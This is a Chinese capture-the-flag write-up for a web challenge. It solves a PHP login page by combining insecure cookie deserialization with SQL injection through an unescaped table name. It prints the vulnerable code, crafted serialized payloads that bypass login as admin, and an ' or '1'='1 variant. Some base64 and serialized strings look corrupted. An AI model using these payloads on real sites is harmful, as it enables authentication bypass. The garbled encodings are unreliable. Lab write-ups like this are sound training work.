

>

WriteUP

下一题

随机一题

👍 17 最佳Writeup由 Max Rosaa 提供

 收藏
 反馈

难度: 5 方向: Web 题解数: 6 解出人数: 517

题目来源: 信通院

题目描述: 平平无奇的输入框

题目附件: [↓ 下载附件](#)

题目场景: <http://61.147.171.105:58454>

100%

倒计时: 3时3分34秒

⌚ 延时 🗑 删除场景

题目已回答正确 ✓

```
if (isset($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize(base64_decode($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:65351/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=8BACB42CB630A65918FCC55D46CB9B1F; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1722697678,1722697954,1722698140; HMAccount=BBDD0371F62A2A6E; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1722698161; last_login_info=YtoXontz0jI6ImLwIjtZ0jEy0iIxMTiUwNDGmJmAu0d0ci030N3D
Connection: close

username=123&password=123
```

```
a:1:{s:2:"ip";s:12:"112.48.20.87";}
```

```

if(isset($_POST['username']) && isset($_POST['password'])){
    $table = 'users';
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = new SQL();
    $sql->connect();
    $sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}

```

- 单引号 (')
- 双引号 (")
- 反斜杠 (\)
- NULL

四种符号，之后会通过waf的

```

$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";",
"^\", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\\"", "]" , "*", "+", "-
"];

```

的筛选。理论上这次sql注入确实难度不小。

首先不提addslashes函数是可以绕过的，可以发现在table中是没有使用addslashes函数过滤的、

那么这里就存在对table的sql注入

并且给出了完整的php文件，为我们本地测试反序列化提供条件

我们要做的就是，在这一个sql查询中添加我们的反序列化语言

```

public function **query**() {

    •    $this->**waf**();

    •    return $this->conn->**query** ("select username,password from ".$this->table." where username='".$this->username.'" and password='".$this->password.'"");

}

```

首先通过本地部署创建类进行反序列化得到结果

```

O:3:"SQL":4:
{s:5:"table";s:0:"";s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"conn";N;}

```

我们可以在table处进行注入，并且这里涉及到sql语法（也是看wp学到的，对sql语法还不是很熟练

对于这么一个sql语句的构造，临时表创建后就会使得where语句查询正确并且查询结果也正确

```
SELECT username, password
FROM (SELECT 'admin' AS username, '123' AS password) AS subquery
WHERE username = 'admin' AND password = '123';
```

所以构造反序列化并且base64加密

```
O:3:"SQL":4:{s:5:"table";s:54:"(SELECT 'admin' AS username, '123' AS password) AS
t11";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}
```

```
TzozOiJTUuwiojQ6e3M6NToidGFibGUio3M6NTQ6IihTRUXFQ1QgJ2FkbWluJyBBuyB1c2VybmFtZSwg
JzEyMyGQVMgcGFzc3dvcmQpIEFTIHRSbCI7czo4OiJlc2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJw
YXNzd29yZCI7czo0OiIxMjMiO3M6NDoiY29ubiI7Tjt9fQ==
```

不过看wp中，设计到passwd也有or 1=1的布尔注入，

```
O:3:"SQL":5:
{s:5:"table";s:5:"users";s:8:"username";s:5:"admin";s:8:"password";s:11:"' or
'1'='1";s:4:"conn";N;s:10:"SQL_wakeup";N;}}
```

但是我认为waf中应该过滤了才对，但他却成功注入，感觉其中有研究